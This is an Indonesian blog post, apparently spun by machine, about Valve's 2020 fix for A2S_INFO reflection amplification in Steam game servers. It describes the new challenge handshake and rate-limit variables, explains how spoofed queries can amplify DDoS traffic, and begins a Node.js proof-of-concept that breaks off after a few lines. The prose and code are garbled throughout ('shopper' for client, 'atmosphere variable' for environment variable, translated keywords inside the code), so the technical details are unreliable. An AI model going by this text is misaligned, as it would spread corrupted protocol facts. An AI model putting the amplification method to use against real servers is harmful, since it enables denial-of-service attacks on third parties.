oleh

Penyesuaian paket browser server di pembelanja Steam terbaru

-Inovasi-14 views
Sejak 08.12.2020 pengembang dari Valve memperkenalkan penggantian tentang kerentanan serangan amplifikasi refleksi yang diperkenalkan di semua game Steam yang membantu permintaan server olahraga.

Salah satu penyerangan ini> 5 tahun sebelumnya.

Perhatikan dari pengembang:

Ada apa!

Pembelanja Steam yang diluncurkan saat ini berisi modifikasi pada pembelanja yang dimaksudkan untuk menangani kerentanan serangan refleksi server game dalam protokol browser server. Ini juga berisi sejumlah opsi percobaan yang dapat diaktifkan pada server game untuk lebih memperkuat server dari serangan.

Saat pembeli membuat kueri ke server, itu harus dimulai dengan mengirimkan paket A2S_INFO, diformat persis seperti sebelumnya. Jika server membutuhkan (lihat di bawah untuk cara yang tepat untuk memutuskan), server dapat membalas dengan permintaan masalah S2C_CHALLENGE, sebagai pengganti membalas dengan paket pengetahuan S2A_INFO_SRC. Pembeli baru memahami balasan ini, dan dapat mengirimkan kembali permintaan A2S_INFO, yang diautentikasi dengan masalah server, sehingga membuktikan bahwa itu tidak memalsukan pegangan IP pasokan.

Binari yang diluncurkan dengan pembeli saat ini juga mencakup modifikasi terkait dengan bagaimana server game menangani paket-paket ini. Pertama, teknologi masalah diperkuat sebagai lawan dari serangan yang dirancang untuk mengisi meja masalah dan mengeluarkan permintaan masalah yang terhormat.
Peningkatan eksperimental ekstra dapat ditemukan dengan mengatur variabel atmosfer, namun biasanya tidak diaktifkan secara default:

STEAM_GAMESERVER_A2S_INFO_REQUIRE_CHALLENGE = 1. Ini dapat memutuskan jabat tangan baru untuk paket A2S_INFO untuk menangani serangan refleksi. Saat ini, ini terutama dimaksudkan untuk menguji pembeli pertanyaan kesempatan ketiga. Karena tidak semua pemain dapat memiliki pembelanja Steam terbaru dan merasakan jabat tangan ini, tidak disarankan untuk mengizinkannya sekarang, selain dari pengujian. Kami akan melakukan sekali lagi ketika sebagian besar pelanggan adalah pembeli operasi yang memahami protokol baru, dan memungkinkan protokol baru dilindungi.

STEAM_GAMESERVER_RATE_LIMIT_200MS = N. Ini dapat menghapus semua paket tanpa koneksi (A2S_INFO, A2S_RULES, A2S_PLAYERS) dari IP tertentu setelah lebih besar dari N diperoleh dalam jendela 200ms. Secara default, pembatasan harga dinonaktifkan, namun harga murah mungkin sekitar 25-75.

STEAM_GAMESERVER_PACKET_HANDLER_NO_IPC. Jika variabel ini tentang, maka paket Steamworks yang menangani panggilan akan menggunakan “jalur cepat”. Di dalam Steamworks SDK, sebagian besar panggilan API diserialkan melalui IPC, dan benar-benar dijalankan dalam kursus pembelanja uap. Server khusus tidak berbicara dengan pembelanja uap (sering kali tidak ada yang beroperasi), namun desain utama yang sama digunakan – ada dua utas, dan semua panggilan API dibuat berseri dan dijalankan dalam utas Steam. Mengaktifkan variabel atmosfer ini akan melewati serialisasi dan pertukaran konteks utas ini, yang membuat panggilan ini, jauh lebih cepat. Ketahuilah bahwa ini hanya memengaruhi server dalam “mode soket bersama” – itu berarti port olahraga dan port pertanyaan adalah sama.

Operator server game dapat memperoleh binari untuk semua platform, bersama dengan distribusi linux yang lebih lama, di sini:
http://media.steampowered.com/apps/steamworks/steam_bins_6246211.zip

Modifikasi ini sebelumnya telah disebutkan pada posting ini: https://steamcommunity.com/discussions/discussion board / 14/2989789048633291344 /.

Beberapa catatan dari konten tekstual ini:

Valve terakhir bekerja untuk memperbaiki sisi negatif ini,
untuk saat ini tidak ada perubahan yang mengganggu dalam kueri,
Anda pasti perlu melihat ini.

Mari kita lihat ini.

Seseorang dalam dialog cukup mengetik untuk menyediakan dua server dengan protokol sebelumnya dan baru.

Server game ini mengoperasikan Counter-Strike: Supply (v5394425 (Linux, Devoted, Protocol 17))

Mari kita mulai HLSW dan nyalakan Wireshark untuk melihat paket apa yang kami kirim dan server apa yang mengembalikan.

Tambahkan server ke HLSW dan mulai mengirimkan paket. Pertanyaan biasa untuk A2S_INFO sepertinya seperti ini. Ini hanya membuat string pertanyaan (TSource Engine Question) tempat T (0x54) adalah header dan relaksasi adalah string muatan yang diakhiri oleh house (0x00).

 

Setelah pengiriman paket yang menguntungkan pada server game, server merespon dengan paket S2AINFOSRC yang terlihat seperti ini

 

Setiap byte didokumentasikan di sini.

Bagaimana ini bisa dieksploitasi?

Bandwidth di dunia komputer adalah faktor penting jika disalahgunakan, jadi serangan seperti DDoS dapat merugikan server game dengan tertinggal, menjatuhkan pemain, penggunaan sumber daya yang berlebihan dan sebagainya tetapi juga dapat mematikan jika dicampur dalam serangan ddo besar di server lain oleh penyerang spoofing ip handle .

Ayo buat PoC. Untuk fungsi ini saya akan menggunakan nodejs.

const udp = membutuhkan (‘dgram’);

// Buat soket udp
const shopper = udp.createSocket (‘udp4’);

const ip = ”;
port const = 0;

biarkan dikirim = 0;
biarkan diperoleh = 0;
biarkan byte = 0;

// Pertanyaan TSource Engine
const hex = Buffer.from (‘fffffff

Tentang Penulis: Nas

Gambar Gravatar
A Technical Content Writer at Singawinata.com, specializing in Virtual Private Servers (VPS), WordPress, and Internet Marketing. Anas is eager to help people to improve their business on the internet.

Komentar

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

Masih Hangat